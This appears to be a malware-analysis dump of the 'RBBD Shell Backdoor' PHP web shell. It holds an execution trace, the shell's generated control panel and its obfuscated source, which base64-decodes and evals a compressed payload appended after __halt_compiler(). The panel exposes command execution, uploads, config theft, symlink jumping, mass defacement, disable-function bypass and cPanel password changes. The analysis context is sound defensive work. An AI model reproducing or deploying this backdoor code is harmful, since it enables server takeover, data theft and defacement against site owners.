5	55	0	0.011008	969424	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/prepend.php'
5	55	1	0.011025	969472
5	55	R			FALSE
5	56	0	0.011039	969416	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/.'
5	56	1	0.011055	969440
5	56	R			FALSE
5	57	0	0.011067	969408	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/..'
5	57	1	0.011082	969456
5	57	R			FALSE
5	58	0	0.011095	969416	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/.htaccess'
5	58	1	0.011110	969456
5	58	R			TRUE
5	59	0	0.011123	969416	filesize	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	1	'/var/www/html/uploads/.htaccess'
5	59	1	0.011137	969456
5	59	R			64
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	$size = 0.0625
5	60	0	0.011162	969360	round	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	2	0.0625	3
5	60	1	0.011178	969432
5	60	R			0.063
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	$size = 0.063
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1167	$size = '0.063 KB'
5	61	0	0.011218	969456	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1175	1	'/var/www/html/uploads/.htaccess'
5	61	1	0.011234	969496
5	61	R			FALSE
5	62	0	0.011247	969456	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1176	1	'/var/www/html/uploads/.htaccess'
5	62	1	0.011262	969496
5	62	R			TRUE
5	63	0	0.011276	969456	perms	1		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1177	1	'/var/www/html/uploads/.htaccess'
6	64	0	0.011288	969456	fileperms	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	1	'/var/www/html/uploads/.htaccess'
6	64	1	0.011302	969496
6	64	R			33188
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	$perms = 33188
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1215	$info = '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1234	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1235	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1238	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1241	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1242	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1245	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1248	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1249	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1252	$info .= '-'
5	63	1	0.011595	969496
5	63	R			'-rw-r--r--'
5	65	0	0.011610	969456	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/.htaccess'
5	65	1	0.011627	969496
5	65	R			FALSE
5	66	0	0.011646	969456	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/.htaccess'
5	66	1	0.011662	969496
5	66	R			TRUE
5	67	0	0.011676	969456	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/RBBD.php'
5	67	1	0.011692	969496
5	67	R			TRUE
5	68	0	0.011705	969456	filesize	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	1	'/var/www/html/uploads/RBBD.php'
5	68	1	0.011718	969496
5	68	R			28546
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	$size = 27.876953125
5	69	0	0.011744	969360	round	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	2	27.876953125	3
5	69	1	0.011759	969432
5	69	R			27.877
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	$size = 27.877
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1167	$size = '27.877 KB'
5	70	0	0.011798	969456	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1175	1	'/var/www/html/uploads/RBBD.php'
5	70	1	0.011814	969496
5	70	R			FALSE
5	71	0	0.011828	969456	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1176	1	'/var/www/html/uploads/RBBD.php'
5	71	1	0.011843	969496
5	71	R			TRUE
5	72	0	0.011856	969456	perms	1		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1177	1	'/var/www/html/uploads/RBBD.php'
6	73	0	0.011870	969456	fileperms	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	1	'/var/www/html/uploads/RBBD.php'
6	73	1	0.011883	969496
6	73	R			33204
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	$perms = 33204
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1215	$info = '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1234	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1235	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1238	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1241	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1242	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1245	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1248	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1249	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1252	$info .= '-'
5	72	1	0.012014	969496
5	72	R			'-rw-rw-r--'
5	74	0	0.012028	969456	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/RBBD.php'
5	74	1	0.012044	969496
5	74	R			FALSE
5	75	0	0.012057	969456	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/RBBD.php'
5	75	1	0.012072	969496
5	75	R			TRUE
5	76	0	0.012086	969456	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/data'
5	76	1	0.012101	969496
5	76	R			FALSE
5	77	0	0.012114	969464	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/prepend.php'
5	77	1	0.012130	969512
5	77	R			TRUE
5	78	0	0.012142	969472	filesize	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	1	'/var/www/html/uploads/prepend.php'
5	78	1	0.012156	969512
5	78	R			57
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	$size = 0.0556640625
5	79	0	0.012180	969368	round	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	2	0.0556640625	3
5	79	1	0.012194	969440
5	79	R			0.056
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	$size = 0.056
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1167	$size = '0.056 KB'
5	80	0	0.012341	969472	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1175	1	'/var/www/html/uploads/prepend.php'
5	80	1	0.012361	969512
5	80	R			FALSE
5	81	0	0.012374	969472	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1176	1	'/var/www/html/uploads/prepend.php'
5	81	1	0.012390	969512
5	81	R			TRUE
5	82	0	0.012403	969472	perms	1		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1177	1	'/var/www/html/uploads/prepend.php'
6	83	0	0.012422	969472	fileperms	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	1	'/var/www/html/uploads/prepend.php'
6	83	1	0.012436	969512
6	83	R			33261
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	$perms = 33261
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1215	$info = '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1234	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1235	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1238	$info .= 'x'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1241	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1242	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1245	$info .= 'x'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1248	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1249	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1252	$info .= 'x'
5	82	1	0.012568	969512
5	82	R			'-rwxr-xr-x'
5	84	0	0.012582	969472	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/prepend.php'
5	84	1	0.012597	969512
5	84	R			FALSE
5	85	0	0.012611	969472	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/prepend.php'
5	85	1	0.012626	969512
5	85	R			TRUE
4	25	1	0.012647	969408
3	23	1	0.012687	727080
3	23	R			NULL
2	19	1	0.012702	566528
2	19	R			NULL
1	3	1	0.012718	480464
			0.012757	397344
TRACE END   [2023-02-12 23:31:53.829100]


Generated HTML code

<html><head> <link href="http://res7ock.org/assets/img/favicon.png" rel="shortcut icon" alt="icon"> <title>RBBD Shell Backdoor</title> </head><body><center><h1><font face="Sarpanch"> ⚜ RBBD Shell Backdoor ⚜</font></h1></center><font face="Sarpanch"> <meta name="author" content="RBBD Shell"> <meta charset="UTF-8"> <link href="" rel="stylesheet" type="text/css"> <style> body{ font-family: "Sarpanch", cursive; background-image: url("#"); color:red; background-attachment:fixed; background-repeat:no-repeat; background-position:center; background-color:#000; -webkit-background-size: 100% 100%; } #content tr:hover{ background-color:white; text-shadow:1px 0px 0px #000; } #content .first{ background-color: yellow; font-weight: bold; } H1{ color:yellow; font-family: "Sarpanch", cursive; } #content .first:hover{ background-color: yellow; text-shadow:1px 0px 0px #000; } table{ border: 0px red solid; } a{ color: yellow; text-decoration: none; } a:hover{ color: white; text-shadow:1px 0px 0px #000; } .tombols{ background:black; color:yellow; border-top:0; border-left:0; border-right:0; border: 2px white solid; padding:5px 8px; text-decoration:none; font-family: 'Sarpanch', sans-serif; border-radius:5px; } textarea{ color:white; background-color:transparent; font-weight: bold; padding:5px 8px; font-family: "Sarpanch", cursive; border: 2px white solid; -moz-border-radius: 5px; -webkit-border-radius:5px; border-radius:5px; } input,select{ color:yellow; background-color:black; font-weight: bold; font-family: "Sarpanch", cursive; border: 2px white solid; } </style>  <link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet"> <link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">
<br><b><i><center><font color="yellow" size="3">Current Dir </font>: <a href="?path=/">/</a><a href="?path=/var"><font color="red" size="3">var</font></a>/<a href="?path=/var/www"><font color="red" size="3">www</font></a>/<a href="?path=/var/www/html"><font color="red" size="3">html</font></a>/<hr color="yellow">
<br><center>
<font size="3"><a href="?" class="tombols">Home</a>
<font size="3"><a href="?path=/var/www/html&amp;a=upload" class="tombols">Upload</a>
<font size="3"><a href="?path=/var/www/html&amp;a=cmd" class="tombols">Command</a>
<font size="3"><a href="?path=/var/www/html&amp;a=configv2" class="tombols">Config</a>
<font size="3"><a href="?path=/var/www/html&amp;a=jumping" class="tombols">Jumping</a>
<font size="3"><a href="?path=/var/www/html&amp;a=symlink" class="tombols">Symlink</a>
<br><br>
<font size="3"><a href="?path=/var/www/html&amp;a=mass_deface" class="tombols">Mass Deface</a>
<font size="3"><a href="?path=/var/www/html&amp;a=disablefunc" class="tombols">Bypass Disable Function</a>
<font size="3"><a href="?path=/var/www/html&amp;a=rdpshell" class="tombols">K-RDP 5H3LL</a>
<br><br>
<font size="3"><a href="?path=/var/www/html&amp;a=adminer" class="tombols">Adminer</a>
<font size="3"><a href="?path=/var/www/html&amp;a=getcp" class="tombols">Change Password cPanel</a>
<font size="3"><a href="?path=/var/www/html&amp;a=zone-h" class="tombols">Zone-H</a>


</font></font></font></font></font></font></font></font></font></font></font></font></center><font size="3"><font size="3"><font size="3"><br>
<hr color="yellow"><center><br><center></center><div id="content"><b></b><b></b><b></b><b></b><table width="700px" border="0" cellpadding="4" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center><font color="black" size="3">Name</font></center></td>
<td><center><font color="black" size="3">Size</font></center></td>
<td><center><font color="black" size="3">Permissions</font></center></td>
<td><center><font color="black" size="3">Options</font></center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=">
<a href="?filesrc=/var/www/html/RBBD.php&amp;path=/var/www/html"><font color="red">RBBD.php</font></a></td>
<td><center><font color="Red">27.877 KB</font></center></td>
<td><center>-rw-rw-r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="Select">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="RBBD.php">
<input type="hidden" name="path" value="/var/www/html/RBBD.php">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=">
<a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html"><font color="red">beneri.se_malware_analysis</font></a></td>
<td><center><font color="Red">0 KB</font></center></td>
<td><center>-rw-r--r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="Select">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">">
</form></center></td>
</tr></tbody></table>
</div><br>
<center>
<font size="3" ;="" color="white">Fighter Anas Private Shell V.1 - <font size="3" ;="" color="red">Royal<font size="3" ;="" color="white">Battler BD<br><font size="4" ;="" color="white">Copyright © Fighter Anas</font><br>


</font></font></font></center></center></font></font></font></center></i></b></font></body></html>

Original PHP code

<?php

$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYSwgODYzLCAyOTYpOwogICAgICAgIH0gZWxzZWlmICgkX2IgPT0gMSkgewogICAgICAgICAgICAkX2YgPSBzdWJzdHIoJF9hLCAxMTU5LCA0MCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9mID0gdHJpbShzdWJzdHIoJF9hLCAxMTk5KSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAoJF9mKTsKICAgIH0="));eval(base64_decode(getmal($_getf)));eval(returnmal(getmal($_getf,2),getmal($_getf,1)));__halt_compiler();ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB976e5328b0a78de6f89f03cd35a82da16b75cdbe27b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//+tO//xUG6q9ff3udO4XHprvd1F4GMIPfXtzj2Zev8818uvstXMe/Fb7crLfuzl2Hv1HqFL6jff0rwzB//fTLYT7z3N0vua+37gmGxjLM/yb/++un//vpX2M6ftq9/rZc7+ev/3XZ3mHp7mCSSJ9ftsupsz78xm6On5j4h3aXa+ovL+7rdlfS0KcIVml9+Cul6GHuLpa734DIvoPvd9j/iolVeOwm4S96vTqJtO/3prGbzvw5NLB+debwGn4Fi/dpu/ZdMsxpMspii87cXr9OycJ8CtchGds0GU38wp2E/MtuHQBRtvlZ/Dbz4fe/nhGIDvKX3XrzG5P+5c9fdrk/XwmV079/+8RBV2QkyZw2U8dxw8VvNfjiaXO8nBCdT2E1fk5W4+f/+LSdhttftvNX9yXrdOq4b1tskZAU2pu+zlPKxXS4WKPdK7S0gSfDXSmPXAz0jp15bdK/BOvTL8XRfiLDTffN5UxKJ+eGm7fdf2zn/tzenTPwxQzjVSyZ23dM5f9++v3XWGCB4DxXAD+hAtiCBsAetn9ZrNcLfz7duNu/2OsA5d1/0l7/JqzfXhfz3W5+KSG/rcFkEv9Hm3vrkkb/5ff/3Cw3n/6XvXbmn/72Lz8P2/7b1OBP1ni4ljmedToN1hF51zGtwBrLm1lghz2hfuhq227xWXVjVxrbydh/geeiWUU+ydFh0Re8r0Ko+NAGMzVZf8wdNzPTZ7rN+ub5sIH2/BebM5iu4Owsk93bof8ya/u76XiI/YTKSlXkCNoIlv7EVH3bXYRDjn9z2sabI7D6fNzwn90GY42XTI9bMjPz8FVqK+vJWMZx8YahtnvaIsTxyh2VnYbGchawy6l5WAxG9RD6jpzAiOz28mBzS3/WPtYtjnz/NuH4nXy6eO8oNZmFfGqd6POHk8I0wpkpbmZCbTXjmPD5sPbmIn+YjNU1PisFS8bp1L/0oidXEqoLWeQ11ZBN+JnJrCLqvgU//PNQZ0WZZRY9t+6N08+3oe4ZqqEbmiHyhu554ZjMpeHbnPg25sQt0Juh/VibuVDP9b05SMJG1oVGw2qrkTVWTlJzvTCjesk4ZFHTeV01+IbaUkfxOFxJZFxYp93E9LddQWUcc8NOzBr5G9bH1Vp8R2WMkeQeFudjwu8/2heuE6XlwnM6xh+OKb6Rv5utrSTIfQ0oqRqSC217dts4wVheJubRt8Mhfj+TBKmMforGquKYEVuqKIXjUf0NnxuPJORB4BP1xQGeswx+Czy6cYQF4e+Yj1/swDjAv8C/tZDy7brbi/jAMWsreG8/W2yy393GcmbCPmntlk67tQaaLO1A3OF4p5zITDSch/oK67Psu/5Xwa0vJKGxsdzlyenI0E+/7J0NrC8/GDXaQ/2oqSNvAWNinLH8JrWshiYqIowJ2qkvpuZkbVdU4Gf+BOsFfCAvZyNYmzYZT9Qd1fmBxixUT+zrjL6ROrIPdI5g3LRtmDe2A2M8OW0xcoQ6L3UUxg4beztaAM3FaGIy2RxgLN2ogWPfWmZ1Hfdz7Gbt+LNgCHutcWN+0jbrz4tpAuubzBF4264YLs6rMCcY14TymWeZNU8SmPSztP90fll7sOa8EPhBt+2gXAJedjYTlj86Jg9yRHmxKo1VV/CANnEbbYudBQqsP/8mtX3cXyekBfQTTcb0uXSsbf8E/B/B/Gow1qUdyss50GgQNejvBvQ3roO8TNqxce7pcyDLkE4bu6OALFXW1hjo1Y7bS+fEJLR90Vu8ZuAa5cY1ZhsDnR1uyDyLvOnP2zq0p+wswVvMczxjhcbbpKJuZlwN5PcSZLkK/OOc5mOFsUwm7MLY5hFZF/IjeI39xOfjNVtsnrPvusOOUoP3/dkIaMSxHoybfldfe5PQCCwXxtsi74e49yaJPO/01+mz5PlNfcbJL7i2Y04B/hLfYF2+5r4HmaaydgDypS2zVjDB7xIaLSzzeLJMXOds/cacUZ3CnIBO0DfolMjedEeNrE0cf9uoWmY/ptMB+ebkmEd4J+tbcFWiE4ncdaXC+1bARzDW1RRkWPYurH9UT/8+63OR8HxMnzfQTemzKW3rGz7Pz+TZ1Tb3fgP4wNiCTkN5kq27z8O6+yekr1yBcVSAFh2QwhHh3Qt6w9oBPw4LawHrDftOgfVeRs75up7RY9jm3TFH9hbowxrwTw3pneeRhH9ANuD6H0G3V4v9hSXzrFN+fRk1/FlH8W/x7RToMBNx3sbqbJ7dmFdQJtVjnf9CeeGcX2/yV/dlSPTACvpaTaOGNx1L0HZtM+G2iC3c6anB9dkh6k9cDxgb4CDgiTHjiIa4DUGWMlPBcboj1ANqihdAV4KOU2e4Vk57QfT9i0nWtfCcBbhpUnG8LsFYDGACZW+FagXkkp98D7TnuoKc6N4XneHbhug0dE93KSYifSTymeq6triyRtCveAAMZu8Bx3l0rF7aP/Ay8lrVbh/3FsqU6Amepd9hu8JivQe88+EfECVAq8XyyrqC/lA2IOdQbvgWyNB4bRN5yCKeozxI+Q9kcoT8N64YoOeldU4vsVOT6KU60mk29vHv/Pfh2ffh+fd2wLM2yl5B+lVawRrFfJkfT9IG6uPpePmCbdkdh/SV/8waw56FyZf1X3iuIocX74L+Ons3pYPcgXaB12agb62R4yQ4gXxOxo5jRF7Dv3Pftx3APsaBtNF2ytvAz2kbIWmDc+I2QE7VYf0rsIaA+YUA9kf7aSGtjq69qj5N4Geqwb+cgXI/GqyOAcoJwO37WZuPBmMf9+TeAVwxHW/8gdb/PKwARg8Q8zdasM8WA4En7wxWMBagfUHmIq92+ovJuA9j9L2BViWfdcfbLsoMwvMwbsT/clQPZJAxhNaAi/oC2YtLnDfsB9ZCHGgq61lUDwft1gLkpm+tGHdA9ybfi6TPvdNhP9GqgPs3RN4BTiTvvQwJL5O+Eb9Jgg16tFF45lbbaHvgvABHb